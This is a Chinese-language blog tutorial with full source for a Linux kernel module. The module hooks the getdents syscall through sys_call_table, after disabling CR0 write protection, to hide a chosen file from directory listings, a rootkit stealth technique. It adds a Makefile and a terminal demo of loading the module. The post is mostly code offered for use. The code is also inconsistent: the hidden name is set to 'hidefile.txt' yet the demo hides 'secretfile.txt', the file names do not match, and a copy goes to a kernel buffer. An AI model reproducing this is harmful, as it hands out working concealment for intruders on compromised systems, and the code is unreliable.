Linux 文件/文件夹隐藏(hook getdents)

前面讲的都是一些基础,比如说拿到sys_call_table地址,简单的hook某个函数,这一节做一个文件/文件夹隐藏,就是hook住文件枚举API --> getdents()&getdents64()

fshid.c

#include <linux/init.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/slab.h>
#include <linux/kern_levels.h>
#include <linux/gfp.h>
#include <asm/unistd.h>
#include <asm/paravirt.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("xxxxx");
MODULE_DESCRIPTION("Hide File Module");
MODULE_VERSION("1.0");
//初始化sys_call_table
unsigned long **SYS_CALL_TABLE;
//使能内存写保护
void EnablePageWriting(void)
{
    write_cr0(read_cr0() & (~0x10000));
} 
//disable 内存写保护
void DisablePageWriting(void)
{
    write_cr0(read_cr0() | 0x10000);
} 

//define our origional function. 

/*
int getdents(unsigned int fd,   struct linux_dirent   *dirp,    unsigned int count);
int getdents64(unsigned int fd, struct linux_dirent64 *dirp,    unsigned int count);
*/

struct linux_dirent {
    unsigned long   d_ino;    /* Inode number */
    unsigned long   d_off;    /* Offset to next linux_dirent */
    unsigned short  d_reclen; // d_reclen is the way to tell the length of this entry
    char            d_name[]; // the struct value is actually longer than this, and d_name is variable width.
};

struct linux_dirent_Temporary {
    unsigned long   d_ino;    /* Inode number */
    unsigned long   d_off;    /* Offset to next linux_dirent */
    unsigned short  d_reclen; // d_reclen is the way to tell the length of this entry
    char            d_name[]; // the struct value is actually longer than this, and d_name is variable width.
}*dirp2 , *dirp3 , *retn;

char hide[]="hidefile.txt";

asmlinkage int ( *original_getdents ) (unsigned int fd, struct linux_dirent *dirp, unsigned int count); 

//Create Our version of Open Function. 
asmlinkage int  HookGetDents(unsigned int fd, struct linux_dirent *dirp, unsigned int count)
{
  unsigned int records; 
  unsigned int tmp = 0;
  int Found = 0;
  unsigned int bytescoppied;
  struct linux_dirent *dirp2, *dirp3 , *retn; 
  
  records = (*original_getdents)(fd, dirp, count); 
  if(records > 0) 
    { 
      dirp2 = (struct linux_dirent *)kmalloc(records, GFP_KERNEL); 
      copy_from_user(dirp2, dirp, records); 

     retn = (struct linux_dirent *)kmalloc(records, GFP_KERNEL); // Create Mem space for second
     memset(retn, 0 , sizeof(*retn));
     //copy_from_user(dirp2, dirp, records); 
     
      dirp3 = dirp2;
      //retn = dirp2; 

      tmp = records; 

      while(tmp > 0) // Our loop here to iterate through the structs
    { 

      tmp -= dirp3->d_reclen; 
      //memmove(retn, (char *) dirp3 , tmp);

    // Search for File...
      if( (strstr(dirp3->d_name, hide) != NULL))
        { 
          if(tmp != 0){
              Found = 1;
              //printk(KERN_INFO "<<<<< %s " , retn->d_name);
              memcpy(retn, (char *) dirp3+dirp3->d_reclen , records  );
              records -= dirp3->d_reclen; // Not sure if this does anything
              //printk(KERN_INFO ">>>>>> %s " , retn->d_name);


          } 
          else {
            dirp3->d_off = 1024; 
          }

          records -= dirp3->d_reclen; 
        } 
        else{ // If file not found..// copy current struct item
        if( Found ){ //then from here we shall be copying one struct ahead to not have duplicates
            memcpy(retn, (char *) dirp3+dirp3->d_reclen , records  );

        }else{
            memcpy(retn, (char *) dirp3 , tmp  );

        }

        }

      if (tmp != 0) {
         // printk(KERN_INFO "File Found %s " , retn->d_name);

          // Moving to the next Dirent Struct
          dirp3 = (struct linux_dirent *)((char *) dirp3 + dirp3->d_reclen);

      }
    } 
      bytescoppied = copy_to_user(dirp2, retn, records );
      //copy_to_user(dirp2, retn, records);
      bytescoppied = copy_to_user(dirp, dirp2, records);

      //bytescoppied =  memcpy(dirp, (char *) dirp3 , tmp  ); 
      //printk(KERN_INFO "Bytes Coppied %u " , records);

      kfree(dirp2); 
      kfree(retn);
    }
  return records;
}

// Set up hooks.
static int __init SetHooks(void) {
    // Gets Syscall Table **
    SYS_CALL_TABLE = (unsigned long**)kallsyms_lookup_name("sys_call_table"); 

    printk(KERN_INFO "Hooks Will Be Set.\n");
    printk(KERN_INFO "System call table at %p\n", SYS_CALL_TABLE);

  // Opens the memory pages to be written
    EnablePageWriting();

  // Replaces Pointer Of Syscall_open on our syscall.
    original_getdents = (void*)SYS_CALL_TABLE[__NR_getdents];
    SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)HookGetDents;
    DisablePageWriting();

    return 0;
}


static void __exit HookCleanup(void) {

    // Clean up our Hooks
    EnablePageWriting();
    SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)original_getdents;
    DisablePageWriting();
    printk(KERN_INFO "HooksCleaned Up!");
}

module_init(SetHooks);
module_exit(HookCleanup);

Makefile:

obj-m :=fshid.o
KERNEL := /lib/modules/$(shell uname -r)/build
 
all:
	make -C $(KERNEL) M=$(shell pwd) modules
install:
	make -C $(KERNEL) M=$(shell pwd) modules_install
	depmod -A
clean:
	make -C $(KERNEL) M=$(shell pwd) clean

char hide[]=“hidefile.txt”; --> 指定需要隐藏的文件名

curtis@curtis-virtual-machine:~/Desktop/file_hide$ make
make -C /lib/modules/4.2.0-42-generic/build M=/home/curtis/Desktop/file_hide modules
make[1]: Entering directory `/usr/src/linux-headers-4.2.0-42-generic'
  CC [M]  /home/curtis/Desktop/file_hide/test.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/curtis/Desktop/file_hide/test.mod.o
  LD [M]  /home/curtis/Desktop/file_hide/test.ko
make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-42-generic'
curtis@curtis-virtual-machine:~/Desktop/file_hide$ ls
Makefile       Module.symvers  test.c   test.mod.c  test.o
modules.order  secretfile.txt  test.ko  test.mod.o
curtis@curtis-virtual-machine:~/Desktop/file_hide$ sudo insmod test.ko 
curtis@curtis-virtual-machine:~/Desktop/file_hide$ ls
Makefile       Module.symvers  test.ko     test.mod.o
modules.order  test.c          test.mod.c  test.o
curtis@curtis-virtual-machine:~/Desktop/file_hide$ 

成功隐藏自定义文件。

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值